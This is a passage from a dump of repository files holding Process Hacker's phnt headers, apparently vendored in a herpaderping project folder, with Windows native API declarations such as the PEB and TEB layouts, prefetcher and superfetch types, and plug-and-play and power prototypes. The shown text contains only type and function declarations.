PHNT_MODE_KERNEL)\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtCreateSymbolicLinkObject(\n _Out_ PHANDLE LinkHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes,\n _In_ PUNICODE_STRING LinkTarget\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtOpenSymbolicLinkObject(\n _Out_ PHANDLE LinkHandle,\n _In_ ACCESS_MASK DesiredAccess,\n _In_ POBJECT_ATTRIBUTES ObjectAttributes\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQuerySymbolicLinkObject(\n _In_ HANDLE LinkHandle,\n _Inout_ PUNICODE_STRING LinkTarget,\n _Out_opt_ PULONG ReturnedLength\n );\n\n#endif\n\n#endif\n" }, { "path": "Inject/herpaderping-main/ext/submodules/phnt/ntpebteb.h", "content": "/*\n * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/\n *\n * You can redistribute this file and/or modify it under the terms of the \n * Attribution 4.0 International (CC BY 4.0) license. \n * \n * You must give appropriate credit, provide a link to the license, and \n * indicate if changes were made. You may do so in any reasonable manner, but \n * not in any way that suggests the licensor endorses you or your use.\n */\n\n#ifndef _NTPEBTEB_H\n#define _NTPEBTEB_H\n\ntypedef struct _RTL_USER_PROCESS_PARAMETERS *PRTL_USER_PROCESS_PARAMETERS;\ntypedef struct _RTL_CRITICAL_SECTION *PRTL_CRITICAL_SECTION;\n\n// private\ntypedef struct _ACTIVATION_CONTEXT_STACK\n{\n struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME* ActiveFrame;\n LIST_ENTRY FrameListCache;\n ULONG Flags;\n ULONG NextCookieSequenceNumber;\n ULONG StackId;\n} ACTIVATION_CONTEXT_STACK, *PACTIVATION_CONTEXT_STACK;\n\n// private\ntypedef struct _API_SET_NAMESPACE\n{\n ULONG Version;\n ULONG Size;\n ULONG Flags;\n ULONG Count;\n ULONG EntryOffset;\n ULONG HashOffset;\n ULONG HashFactor;\n} API_SET_NAMESPACE, *PAPI_SET_NAMESPACE;\n\n// private\ntypedef struct _API_SET_HASH_ENTRY\n{\n ULONG Hash;\n ULONG Index;\n} API_SET_HASH_ENTRY, *PAPI_SET_HASH_ENTRY;\n\n// private\ntypedef struct _API_SET_NAMESPACE_ENTRY\n{\n ULONG Flags;\n ULONG NameOffset;\n ULONG NameLength;\n ULONG HashedLength;\n ULONG ValueOffset;\n ULONG ValueCount;\n} API_SET_NAMESPACE_ENTRY, *PAPI_SET_NAMESPACE_ENTRY;\n\n// private\ntypedef struct _API_SET_VALUE_ENTRY \n{\n ULONG Flags;\n ULONG NameOffset;\n ULONG NameLength;\n ULONG ValueOffset;\n ULONG ValueLength;\n} API_SET_VALUE_ENTRY, *PAPI_SET_VALUE_ENTRY;\n\n// symbols\ntypedef struct _PEB\n{\n BOOLEAN InheritedAddressSpace;\n BOOLEAN ReadImageFileExecOptions;\n BOOLEAN BeingDebugged;\n union\n {\n BOOLEAN BitField;\n struct\n {\n BOOLEAN ImageUsesLargePages : 1;\n BOOLEAN IsProtectedProcess : 1;\n BOOLEAN IsImageDynamicallyRelocated : 1;\n BOOLEAN SkipPatchingUser32Forwarders : 1;\n BOOLEAN IsPackagedProcess : 1;\n BOOLEAN IsAppContainer : 1;\n BOOLEAN IsProtectedProcessLight : 1;\n BOOLEAN IsLongPathAwareProcess : 1;\n };\n };\n\n HANDLE Mutant;\n\n PVOID ImageBaseAddress;\n PPEB_LDR_DATA Ldr;\n PRTL_USER_PROCESS_PARAMETERS ProcessParameters;\n PVOID SubSystemData;\n PVOID ProcessHeap;\n PRTL_CRITICAL_SECTION FastPebLock;\n PVOID IFEOKey;\n PSLIST_HEADER AtlThunkSListPtr;\n union\n {\n ULONG CrossProcessFlags;\n struct\n {\n ULONG ProcessInJob : 1;\n ULONG ProcessInitializing : 1;\n ULONG ProcessUsingVEH : 1;\n ULONG ProcessUsingVCH : 1;\n ULONG ProcessUsingFTH : 1;\n ULONG ProcessPreviouslyThrottled : 1;\n ULONG ProcessCurrentlyThrottled : 1;\n ULONG ProcessImagesHotPatched : 1; // REDSTONE5\n ULONG ReservedBits0 : 24;\n };\n };\n union\n {\n PVOID KernelCallbackTable;\n PVOID UserSharedInfoPtr;\n };\n ULONG SystemReserved;\n ULONG AtlThunkSListPtr32;\n PAPI_SET_NAMESPACE ApiSetMap;\n ULONG TlsExpansionCounter;\n PVOID TlsBitmap;\n ULONG TlsBitmapBits[2];\n \n PVOID ReadOnlySharedMemoryBase; \n PVOID SharedData; // HotpatchInformation\n PVOID *ReadOnlyStaticServerData;\n \n PVOID AnsiCodePageData; // PCPTABLEINFO\n PVOID OemCodePageData; // PCPTABLEINFO\n PVOID UnicodeCaseTableData; // PNLSTABLEINFO\n\n ULONG NumberOfProcessors;\n ULONG NtGlobalFlag;\n\n ULARGE_INTEGER CriticalSectionTimeout;\n SIZE_T HeapSegmentReserve;\n SIZE_T HeapSegmentCommit;\n SIZE_T HeapDeCommitTotalFreeThreshold;\n SIZE_T HeapDeCommitFreeBlockThreshold;\n\n ULONG NumberOfHeaps;\n ULONG MaximumNumberOfHeaps;\n PVOID *ProcessHeaps; // PHEAP\n\n PVOID GdiSharedHandleTable;\n PVOID ProcessStarterHelper;\n ULONG GdiDCAttributeList;\n\n PRTL_CRITICAL_SECTION LoaderLock;\n\n ULONG OSMajorVersion;\n ULONG OSMinorVersion;\n USHORT OSBuildNumber;\n USHORT OSCSDVersion;\n ULONG OSPlatformId;\n ULONG ImageSubsystem;\n ULONG ImageSubsystemMajorVersion;\n ULONG ImageSubsystemMinorVersion;\n ULONG_PTR ActiveProcessAffinityMask;\n GDI_HANDLE_BUFFER GdiHandleBuffer;\n PVOID PostProcessInitRoutine;\n\n PVOID TlsExpansionBitmap;\n ULONG TlsExpansionBitmapBits[32];\n\n ULONG SessionId;\n\n ULARGE_INTEGER AppCompatFlags;\n ULARGE_INTEGER AppCompatFlagsUser;\n PVOID pShimData;\n PVOID AppCompatInfo; // APPCOMPAT_EXE_DATA\n\n UNICODE_STRING CSDVersion;\n\n PVOID ActivationContextData; // ACTIVATION_CONTEXT_DATA\n PVOID ProcessAssemblyStorageMap; // ASSEMBLY_STORAGE_MAP\n PVOID SystemDefaultActivationContextData; // ACTIVATION_CONTEXT_DATA\n PVOID SystemAssemblyStorageMap; // ASSEMBLY_STORAGE_MAP\n\n SIZE_T MinimumStackCommit;\n\n PVOID SparePointers[4]; // 19H1 (previously FlsCallback to FlsHighIndex)\n ULONG SpareUlongs[5]; // 19H1\n //PVOID* FlsCallback;\n //LIST_ENTRY FlsListHead;\n //PVOID FlsBitmap;\n //ULONG FlsBitmapBits[FLS_MAXIMUM_AVAILABLE / (sizeof(ULONG) * 8)];\n //ULONG FlsHighIndex;\n\n PVOID WerRegistrationData;\n PVOID WerShipAssertPtr;\n PVOID pUnused; // pContextData\n PVOID pImageHeaderHash;\n union\n {\n ULONG TracingFlags;\n struct\n {\n ULONG HeapTracingEnabled : 1;\n ULONG CritSecTracingEnabled : 1;\n ULONG LibLoaderTracingEnabled : 1;\n ULONG SpareTracingBits : 29;\n };\n };\n ULONGLONG CsrServerReadOnlySharedMemoryBase;\n PRTL_CRITICAL_SECTION TppWorkerpListLock;\n LIST_ENTRY TppWorkerpList;\n PVOID WaitOnAddressHashTable[128];\n PVOID TelemetryCoverageHeader; // REDSTONE3\n ULONG CloudFileFlags;\n ULONG CloudFileDiagFlags; // REDSTONE4\n CHAR PlaceholderCompatibilityMode;\n CHAR PlaceholderCompatibilityModeReserved[7];\n struct _LEAP_SECOND_DATA *LeapSecondData; // REDSTONE5\n union\n {\n ULONG LeapSecondFlags;\n struct\n {\n ULONG SixtySecondEnabled : 1;\n ULONG Reserved : 31;\n };\n };\n ULONG NtGlobalFlag2;\n} PEB, *PPEB;\n\n#ifdef _WIN64\nC_ASSERT(FIELD_OFFSET(PEB, SessionId) == 0x2C0);\n//C_ASSERT(sizeof(PEB) == 0x7B0); // REDSTONE3\n//C_ASSERT(sizeof(PEB) == 0x7B8); // REDSTONE4\nC_ASSERT(sizeof(PEB) == 0x7C8); // REDSTONE5 // 19H1\n#else\nC_ASSERT(FIELD_OFFSET(PEB, SessionId) == 0x1D4);\n//C_ASSERT(sizeof(PEB) == 0x468); // REDSTONE3\n//C_ASSERT(sizeof(PEB) == 0x470); // REDSTONE4\nC_ASSERT(sizeof(PEB) == 0x480); // REDSTONE5 // 19H1\n#endif\n\n#define GDI_BATCH_BUFFER_SIZE 310\n\ntypedef struct _GDI_TEB_BATCH\n{\n ULONG Offset;\n ULONG_PTR HDC;\n ULONG Buffer[GDI_BATCH_BUFFER_SIZE];\n} GDI_TEB_BATCH, *PGDI_TEB_BATCH;\n\ntypedef struct _TEB_ACTIVE_FRAME_CONTEXT\n{\n ULONG Flags;\n PSTR FrameName;\n} TEB_ACTIVE_FRAME_CONTEXT, *PTEB_ACTIVE_FRAME_CONTEXT;\n\ntypedef struct _TEB_ACTIVE_FRAME\n{\n ULONG Flags;\n struct _TEB_ACTIVE_FRAME *Previous;\n PTEB_ACTIVE_FRAME_CONTEXT Context;\n} TEB_ACTIVE_FRAME, *PTEB_ACTIVE_FRAME;\n\ntypedef struct _TEB\n{\n NT_TIB NtTib;\n\n PVOID EnvironmentPointer;\n CLIENT_ID ClientId;\n PVOID ActiveRpcHandle;\n PVOID ThreadLocalStoragePointer;\n PPEB ProcessEnvironmentBlock;\n\n ULONG LastErrorValue;\n ULONG CountOfOwnedCriticalSections;\n PVOID CsrClientThread;\n PVOID Win32ThreadInfo;\n ULONG User32Reserved[26];\n ULONG UserReserved[5];\n PVOID WOW32Reserved;\n LCID CurrentLocale;\n ULONG FpSoftwareStatusRegister;\n PVOID ReservedForDebuggerInstrumentation[16];\n#ifdef _WIN64\n PVOID SystemReserved1[30];\n#else\n PVOID SystemReserved1[26];\n#endif\n \n CHAR PlaceholderCompatibilityMode;\n CHAR PlaceholderReserved[11];\n ULONG ProxiedProcessId;\n ACTIVATION_CONTEXT_STACK ActivationStack;\n \n UCHAR WorkingOnBehalfTicket[8];\n NTSTATUS ExceptionCode;\n\n PACTIVATION_CONTEXT_STACK ActivationContextStackPointer;\n ULONG_PTR InstrumentationCallbackSp;\n ULONG_PTR InstrumentationCallbackPreviousPc;\n ULONG_PTR InstrumentationCallbackPreviousSp;\n#ifdef _WIN64\n ULONG TxFsContext;\n#endif\n\n BOOLEAN InstrumentationCallbackDisabled;\n#ifndef _WIN64\n UCHAR SpareBytes[23];\n ULONG TxFsContext;\n#endif\n GDI_TEB_BATCH GdiTebBatch;\n CLIENT_ID RealClientId;\n HANDLE GdiCachedProcessHandle;\n ULONG GdiClientPID;\n ULONG GdiClientTID;\n PVOID GdiThreadLocalInfo;\n ULONG_PTR Win32ClientInfo[62];\n PVOID glDispatchTable[233];\n ULONG_PTR glReserved1[29];\n PVOID glReserved2;\n PVOID glSectionInfo;\n PVOID glSection;\n PVOID glTable;\n PVOID glCurrentRC;\n PVOID glContext;\n\n NTSTATUS LastStatusValue;\n UNICODE_STRING StaticUnicodeString;\n WCHAR StaticUnicodeBuffer[261];\n\n PVOID DeallocationStack;\n PVOID TlsSlots[64];\n LIST_ENTRY TlsLinks;\n\n PVOID Vdm;\n PVOID ReservedForNtRpc;\n PVOID DbgSsReserved[2];\n\n ULONG HardErrorMode;\n#ifdef _WIN64\n PVOID Instrumentation[11];\n#else\n PVOID Instrumentation[9];\n#endif\n GUID ActivityId;\n\n PVOID SubProcessTag;\n PVOID PerflibData;\n PVOID EtwTraceData;\n PVOID WinSockData;\n ULONG GdiBatchCount;\n\n union\n {\n PROCESSOR_NUMBER CurrentIdealProcessor;\n ULONG IdealProcessorValue;\n struct\n {\n UCHAR ReservedPad0;\n UCHAR ReservedPad1;\n UCHAR ReservedPad2;\n UCHAR IdealProcessor;\n };\n };\n\n ULONG GuaranteedStackBytes;\n PVOID ReservedForPerf;\n PVOID ReservedForOle;\n ULONG WaitingOnLoaderLock;\n PVOID SavedPriorityState;\n ULONG_PTR ReservedForCodeCoverage;\n PVOID ThreadPoolData;\n PVOID *TlsExpansionSlots;\n#ifdef _WIN64\n PVOID DeallocationBStore;\n PVOID BStoreLimit;\n#endif\n ULONG MuiGeneration;\n ULONG IsImpersonating;\n PVOID NlsCache;\n PVOID pShimData;\n USHORT HeapVirtualAffinity;\n USHORT LowFragHeapDataSlot;\n HANDLE CurrentTransactionHandle;\n PTEB_ACTIVE_FRAME ActiveFrame;\n PVOID FlsData;\n\n PVOID PreferredLanguages;\n PVOID UserPrefLanguages;\n PVOID MergedPrefLanguages;\n ULONG MuiImpersonation;\n\n union\n {\n USHORT CrossTebFlags;\n USHORT SpareCrossTebBits : 16;\n };\n union\n {\n USHORT SameTebFlags;\n struct\n {\n USHORT SafeThunkCall : 1;\n USHORT InDebugPrint : 1;\n USHORT HasFiberData : 1;\n USHORT SkipThreadAttach : 1;\n USHORT WerInShipAssertCode : 1;\n USHORT RanProcessInit : 1;\n USHORT ClonedThread : 1;\n USHORT SuppressDebugMsg : 1;\n USHORT DisableUserStackWalk : 1;\n USHORT RtlExceptionAttached : 1;\n USHORT InitialThread : 1;\n USHORT SessionAware : 1;\n USHORT LoadOwner : 1;\n USHORT LoaderWorker : 1;\n USHORT SkipLoaderInit : 1;\n USHORT SpareSameTebBits : 1;\n };\n };\n\n PVOID TxnScopeEnterCallback;\n PVOID TxnScopeExitCallback;\n PVOID TxnScopeContext;\n ULONG LockCount;\n LONG WowTebOffset;\n PVOID ResourceRetValue;\n PVOID ReservedForWdf;\n ULONGLONG ReservedForCrt;\n GUID EffectiveContainerId;\n} TEB, *PTEB;\n\n#endif\n" }, { "path": "Inject/herpaderping-main/ext/submodules/phnt/ntpfapi.h", "content": "/*\n * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/\n *\n * You can redistribute this file and/or modify it under the terms of the \n * Attribution 4.0 International (CC BY 4.0) license. \n * \n * You must give appropriate credit, provide a link to the license, and \n * indicate if changes were made. You may do so in any reasonable manner, but \n * not in any way that suggests the licensor endorses you or your use.\n */\n\n#ifndef _NTPFAPI_H\n#define _NTPFAPI_H\n\n// begin_private\n\n// Prefetch\n\ntypedef enum _PF_BOOT_PHASE_ID\n{\n PfKernelInitPhase = 0,\n PfBootDriverInitPhase = 90,\n PfSystemDriverInitPhase = 120,\n PfSessionManagerInitPhase = 150,\n PfSMRegistryInitPhase = 180,\n PfVideoInitPhase = 210,\n PfPostVideoInitPhase = 240,\n PfBootAcceptedRegistryInitPhase = 270,\n PfUserShellReadyPhase = 300,\n PfMaxBootPhaseId = 900\n} PF_BOOT_PHASE_ID;\n\ntypedef enum _PF_ENABLE_STATUS\n{\n PfSvNotSpecified,\n PfSvEnabled,\n PfSvDisabled,\n PfSvMaxEnableStatus\n} PF_ENABLE_STATUS;\n\ntypedef struct _PF_TRACE_LIMITS\n{\n ULONG MaxNumPages;\n ULONG MaxNumSections;\n LONGLONG TimerPeriod;\n} PF_TRACE_LIMITS, *PPF_TRACE_LIMITS;\n\ntypedef struct _PF_SYSTEM_PREFETCH_PARAMETERS\n{\n PF_ENABLE_STATUS EnableStatus[2];\n PF_TRACE_LIMITS TraceLimits[2];\n ULONG MaxNumActiveTraces;\n ULONG MaxNumSavedTraces;\n WCHAR RootDirPath[32];\n WCHAR HostingApplicationList[128];\n} PF_SYSTEM_PREFETCH_PARAMETERS, *PPF_SYSTEM_PREFETCH_PARAMETERS;\n\n#define PF_BOOT_CONTROL_VERSION 1\n\ntypedef struct _PF_BOOT_CONTROL\n{\n ULONG Version;\n ULONG DisableBootPrefetching;\n} PF_BOOT_CONTROL, *PPF_BOOT_CONTROL;\n\ntypedef enum _PREFETCHER_INFORMATION_CLASS\n{\n PrefetcherRetrieveTrace = 1, // q: CHAR[]\n PrefetcherSystemParameters, // q: PF_SYSTEM_PREFETCH_PARAMETERS\n PrefetcherBootPhase, // s: PF_BOOT_PHASE_ID\n PrefetcherRetrieveBootLoaderTrace, // q: CHAR[]\n PrefetcherBootControl // s: PF_BOOT_CONTROL\n} PREFETCHER_INFORMATION_CLASS;\n\n#define PREFETCHER_INFORMATION_VERSION 23 // rev\n#define PREFETCHER_INFORMATION_MAGIC ('kuhC') // rev\n\ntypedef struct _PREFETCHER_INFORMATION\n{\n ULONG Version;\n ULONG Magic;\n PREFETCHER_INFORMATION_CLASS PrefetcherInformationClass;\n PVOID PrefetcherInformation;\n ULONG PrefetcherInformationLength;\n} PREFETCHER_INFORMATION, *PPREFETCHER_INFORMATION;\n\n// Superfetch\n\ntypedef struct _PF_SYSTEM_SUPERFETCH_PARAMETERS\n{\n ULONG EnabledComponents;\n ULONG BootID;\n ULONG SavedSectInfoTracesMax;\n ULONG SavedPageAccessTracesMax;\n ULONG ScenarioPrefetchTimeoutStandby;\n ULONG ScenarioPrefetchTimeoutHibernate;\n} PF_SYSTEM_SUPERFETCH_PARAMETERS, *PPF_SYSTEM_SUPERFETCH_PARAMETERS;\n\n#define PF_PFN_PRIO_REQUEST_VERSION 1\n#define PF_PFN_PRIO_REQUEST_QUERY_MEMORY_LIST 0x1\n#define PF_PFN_PRIO_REQUEST_VALID_FLAGS 0x1\n\ntypedef struct _PF_PFN_PRIO_REQUEST\n{\n ULONG Version;\n ULONG RequestFlags;\n ULONG_PTR PfnCount;\n SYSTEM_MEMORY_LIST_INFORMATION MemInfo;\n MMPFN_IDENTITY PageData[256];\n} PF_PFN_PRIO_REQUEST, *PPF_PFN_PRIO_REQUEST;\n\ntypedef enum _PFS_PRIVATE_PAGE_SOURCE_TYPE\n{\n PfsPrivateSourceKernel,\n PfsPrivateSourceSession,\n PfsPrivateSourceProcess,\n PfsPrivateSourceMax\n} PFS_PRIVATE_PAGE_SOURCE_TYPE;\n\ntypedef struct _PFS_PRIVATE_PAGE_SOURCE\n{\n PFS_PRIVATE_PAGE_SOURCE_TYPE Type;\n union\n {\n ULONG SessionId;\n ULONG ProcessId;\n };\n ULONG ImagePathHash;\n ULONG_PTR UniqueProcessHash;\n} PFS_PRIVATE_PAGE_SOURCE, *PPFS_PRIVATE_PAGE_SOURCE;\n\ntypedef struct _PF_PRIVSOURCE_INFO\n{\n PFS_PRIVATE_PAGE_SOURCE DbInfo;\n PVOID EProcess;\n SIZE_T WsPrivatePages;\n SIZE_T TotalPrivatePages;\n ULONG SessionID;\n CHAR ImageName[16];\n union {\n ULONG_PTR WsSwapPages; // process only PF_PRIVSOURCE_QUERY_WS_SWAP_PAGES.\n ULONG_PTR SessionPagedPoolPages; // session only.\n ULONG_PTR StoreSizePages; // process only PF_PRIVSOURCE_QUERY_STORE_INFO.\n };\n ULONG_PTR WsTotalPages; // process/session only.\n ULONG DeepFreezeTimeMs; // process only.\n ULONG ModernApp : 1; // process only.\n ULONG DeepFrozen : 1; // process only. If set, DeepFreezeTimeMs contains the time at which the freeze occurred\n ULONG Foreground : 1; // process only.\n ULONG PerProcessStore : 1; // process only.\n ULONG Spare : 28;\n} PF_PRIVSOURCE_INFO, *PPF_PRIVSOURCE_INFO;\n\n#define PF_PRIVSOURCE_QUERY_REQUEST_VERSION 8\n\ntypedef struct _PF_PRIVSOURCE_QUERY_REQUEST\n{\n ULONG Version;\n ULONG Flags;\n ULONG InfoCount;\n PF_PRIVSOURCE_INFO InfoArray[1];\n} PF_PRIVSOURCE_QUERY_REQUEST, *PPF_PRIVSOURCE_QUERY_REQUEST;\n\ntypedef enum _PF_PHASED_SCENARIO_TYPE\n{\n PfScenarioTypeNone,\n PfScenarioTypeStandby,\n PfScenarioTypeHibernate,\n PfScenarioTypeFUS,\n PfScenarioTypeMax\n} PF_PHASED_SCENARIO_TYPE;\n\n#define PF_SCENARIO_PHASE_INFO_VERSION 4\n\ntypedef struct _PF_SCENARIO_PHASE_INFO\n{\n ULONG Version;\n PF_PHASED_SCENARIO_TYPE ScenType;\n ULONG PhaseId;\n ULONG SequenceNumber;\n ULONG Flags;\n ULONG FUSUserId;\n} PF_SCENARIO_PHASE_INFO, *PPF_SCENARIO_PHASE_INFO;\n\ntypedef struct _PF_MEMORY_LIST_NODE\n{\n ULONGLONG Node : 8;\n ULONGLONG Spare : 56;\n ULONGLONG StandbyLowPageCount;\n ULONGLONG StandbyMediumPageCount;\n ULONGLONG StandbyHighPageCount;\n ULONGLONG FreePageCount;\n ULONGLONG ModifiedPageCount;\n} PF_MEMORY_LIST_NODE, *PPF_MEMORY_LIST_NODE;\n\n#define PF_MEMORY_LIST_INFO_VERSION 1\n\ntypedef struct _PF_MEMORY_LIST_INFO\n{\n ULONG Version;\n ULONG Size;\n ULONG NodeCount;\n PF_MEMORY_LIST_NODE Nodes[1];\n} PF_MEMORY_LIST_INFO, *PPF_MEMORY_LIST_INFO;\n\ntypedef struct _PF_PHYSICAL_MEMORY_RANGE\n{\n ULONG_PTR BasePfn;\n ULONG_PTR PageCount;\n} PF_PHYSICAL_MEMORY_RANGE, *PPF_PHYSICAL_MEMORY_RANGE;\n\n#define PF_PHYSICAL_MEMORY_RANGE_INFO_V1_VERSION 1\n\ntypedef struct _PF_PHYSICAL_MEMORY_RANGE_INFO_V1\n{\n ULONG Version;\n ULONG RangeCount;\n PF_PHYSICAL_MEMORY_RANGE Ranges[1];\n} PF_PHYSICAL_MEMORY_RANGE_INFO_V1, *PPF_PHYSICAL_MEMORY_RANGE_INFO_V1;\n\n#define PF_PHYSICAL_MEMORY_RANGE_INFO_V2_VERSION 2\n\ntypedef struct _PF_PHYSICAL_MEMORY_RANGE_INFO_V2\n{\n ULONG Version;\n ULONG Flags;\n ULONG RangeCount;\n PF_PHYSICAL_MEMORY_RANGE Ranges[ANYSIZE_ARRAY];\n} PF_PHYSICAL_MEMORY_RANGE_INFO_V2, *PPF_PHYSICAL_MEMORY_RANGE_INFO_V2;\n\n// begin_rev\n\n#define PF_REPURPOSED_BY_PREFETCH_INFO_VERSION 1\n\ntypedef struct _PF_REPURPOSED_BY_PREFETCH_INFO\n{\n ULONG Version;\n ULONG RepurposedByPrefetch;\n} PF_REPURPOSED_BY_PREFETCH_INFO, *PPF_REPURPOSED_BY_PREFETCH_INFO;\n\n// end_rev\n\ntypedef enum _SUPERFETCH_INFORMATION_CLASS\n{\n SuperfetchRetrieveTrace = 1, // q: CHAR[]\n SuperfetchSystemParameters, // q: PF_SYSTEM_SUPERFETCH_PARAMETERS\n SuperfetchLogEvent,\n SuperfetchGenerateTrace,\n SuperfetchPrefetch,\n SuperfetchPfnQuery, // q: PF_PFN_PRIO_REQUEST\n SuperfetchPfnSetPriority,\n SuperfetchPrivSourceQuery, // q: PF_PRIVSOURCE_QUERY_REQUEST\n SuperfetchSequenceNumberQuery, // q: ULONG\n SuperfetchScenarioPhase, // 10\n SuperfetchWorkerPriority,\n SuperfetchScenarioQuery, // q: PF_SCENARIO_PHASE_INFO\n SuperfetchScenarioPrefetch,\n SuperfetchRobustnessControl,\n SuperfetchTimeControl,\n SuperfetchMemoryListQuery, // q: PF_MEMORY_LIST_INFO\n SuperfetchMemoryRangesQuery, // q: PF_PHYSICAL_MEMORY_RANGE_INFO\n SuperfetchTracingControl,\n SuperfetchTrimWhileAgingControl,\n SuperfetchRepurposedByPrefetch, // q: PF_REPURPOSED_BY_PREFETCH_INFO // rev\n SuperfetchInformationMax\n} SUPERFETCH_INFORMATION_CLASS;\n\n#define SUPERFETCH_INFORMATION_VERSION 45 // rev\n#define SUPERFETCH_INFORMATION_MAGIC ('kuhC') // rev\n\ntypedef struct _SUPERFETCH_INFORMATION\n{\n _In_ ULONG Version;\n _In_ ULONG Magic;\n _In_ SUPERFETCH_INFORMATION_CLASS InfoClass;\n _Inout_ PVOID Data;\n _Inout_ ULONG Length;\n} SUPERFETCH_INFORMATION, *PSUPERFETCH_INFORMATION;\n\n// end_private\n\n#endif\n" }, { "path": "Inject/herpaderping-main/ext/submodules/phnt/ntpnpapi.h", "content": "/*\n * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/\n *\n * You can redistribute this file and/or modify it under the terms of the \n * Attribution 4.0 International (CC BY 4.0) license. \n * \n * You must give appropriate credit, provide a link to the license, and \n * indicate if changes were made. You may do so in any reasonable manner, but \n * not in any way that suggests the licensor endorses you or your use.\n */\n\n#ifndef _NTPNPAPI_H\n#define _NTPNPAPI_H\n\ntypedef enum _PLUGPLAY_EVENT_CATEGORY\n{\n HardwareProfileChangeEvent,\n TargetDeviceChangeEvent,\n DeviceClassChangeEvent,\n CustomDeviceEvent,\n DeviceInstallEvent,\n DeviceArrivalEvent,\n PowerEvent,\n VetoEvent,\n BlockedDriverEvent,\n InvalidIDEvent,\n MaxPlugEventCategory\n} PLUGPLAY_EVENT_CATEGORY, *PPLUGPLAY_EVENT_CATEGORY;\n\ntypedef struct _PLUGPLAY_EVENT_BLOCK\n{\n GUID EventGuid;\n PLUGPLAY_EVENT_CATEGORY EventCategory;\n PULONG Result;\n ULONG Flags;\n ULONG TotalSize;\n PVOID DeviceObject;\n\n union\n {\n struct\n {\n GUID ClassGuid;\n WCHAR SymbolicLinkName[1];\n } DeviceClass;\n struct\n {\n WCHAR DeviceIds[1];\n } TargetDevice;\n struct\n {\n WCHAR DeviceId[1];\n } InstallDevice;\n struct\n {\n PVOID NotificationStructure;\n WCHAR DeviceIds[1];\n } CustomNotification;\n struct\n {\n PVOID Notification;\n } ProfileNotification;\n struct\n {\n ULONG NotificationCode;\n ULONG NotificationData;\n } PowerNotification;\n struct\n {\n PNP_VETO_TYPE VetoType;\n WCHAR DeviceIdVetoNameBuffer[1]; // DeviceIdVetoName\n } VetoNotification;\n struct\n {\n GUID BlockedDriverGuid;\n } BlockedDriverNotification;\n struct\n {\n WCHAR ParentId[1];\n } InvalidIDNotification;\n } u;\n} PLUGPLAY_EVENT_BLOCK, *PPLUGPLAY_EVENT_BLOCK;\n\ntypedef enum _PLUGPLAY_CONTROL_CLASS\n{\n PlugPlayControlEnumerateDevice,\n PlugPlayControlRegisterNewDevice,\n PlugPlayControlDeregisterDevice,\n PlugPlayControlInitializeDevice,\n PlugPlayControlStartDevice,\n PlugPlayControlUnlockDevice,\n PlugPlayControlQueryAndRemoveDevice,\n PlugPlayControlUserResponse,\n PlugPlayControlGenerateLegacyDevice,\n PlugPlayControlGetInterfaceDeviceList,\n PlugPlayControlProperty,\n PlugPlayControlDeviceClassAssociation,\n PlugPlayControlGetRelatedDevice,\n PlugPlayControlGetInterfaceDeviceAlias,\n PlugPlayControlDeviceStatus,\n PlugPlayControlGetDeviceDepth,\n PlugPlayControlQueryDeviceRelations,\n PlugPlayControlTargetDeviceRelation,\n PlugPlayControlQueryConflictList,\n PlugPlayControlRetrieveDock,\n PlugPlayControlResetDevice,\n PlugPlayControlHaltDevice,\n PlugPlayControlGetBlockedDriverList,\n PlugPlayControlGetDeviceInterfaceEnabled,\n MaxPlugPlayControl\n} PLUGPLAY_CONTROL_CLASS, *PPLUGPLAY_CONTROL_CLASS;\n\n#if (PHNT_VERSION < PHNT_WIN8)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtGetPlugPlayEvent(\n _In_ HANDLE EventHandle,\n _In_opt_ PVOID Context,\n _Out_writes_bytes_(EventBufferSize) PPLUGPLAY_EVENT_BLOCK EventBlock,\n _In_ ULONG EventBufferSize\n );\n#endif\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtPlugPlayControl(\n _In_ PLUGPLAY_CONTROL_CLASS PnPControlClass,\n _Inout_updates_bytes_(PnPControlDataLength) PVOID PnPControlData,\n _In_ ULONG PnPControlDataLength\n );\n\n#if (PHNT_VERSION >= PHNT_WIN7)\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSerializeBoot(\n VOID\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtEnableLastKnownGood(\n VOID\n );\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtDisableLastKnownGood(\n VOID\n );\n\n#endif\n\n#if (PHNT_VERSION >= PHNT_VISTA)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtReplacePartitionUnit(\n _In_ PUNICODE_STRING TargetInstancePath,\n _In_ PUNICODE_STRING SpareInstancePath,\n _In_ ULONG Flags\n );\n#endif\n\n#endif\n" }, { "path": "Inject/herpaderping-main/ext/submodules/phnt/ntpoapi.h", "content": "/*\n * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/\n *\n * You can redistribute this file and/or modify it under the terms of the \n * Attribution 4.0 International (CC BY 4.0) license. \n * \n * You must give appropriate credit, provide a link to the license, and \n * indicate if changes were made. You may do so in any reasonable manner, but \n * not in any way that suggests the licensor endorses you or your use.\n */\n\n#ifndef _NTPOAPI_H\n#define _NTPOAPI_H\n\ntypedef union _POWER_STATE\n{\n SYSTEM_POWER_STATE SystemState;\n DEVICE_POWER_STATE DeviceState;\n} POWER_STATE, *PPOWER_STATE;\n\ntypedef enum _POWER_STATE_TYPE\n{\n SystemPowerState = 0,\n DevicePowerState\n} POWER_STATE_TYPE, *PPOWER_STATE_TYPE;\n\n#if (PHNT_VERSION >= PHNT_VISTA)\n// wdm\ntypedef struct _SYSTEM_POWER_STATE_CONTEXT\n{\n union\n {\n struct\n {\n ULONG Reserved1 : 8;\n ULONG TargetSystemState : 4;\n ULONG EffectiveSystemState : 4;\n ULONG CurrentSystemState : 4;\n ULONG IgnoreHibernationPath : 1;\n ULONG PseudoTransition : 1;\n ULONG Reserved2 : 10;\n };\n ULONG ContextAsUlong;\n };\n} SYSTEM_POWER_STATE_CONTEXT, *PSYSTEM_POWER_STATE_CONTEXT;\n#endif\n\n#if (PHNT_VERSION >= PHNT_WIN7)\n/** 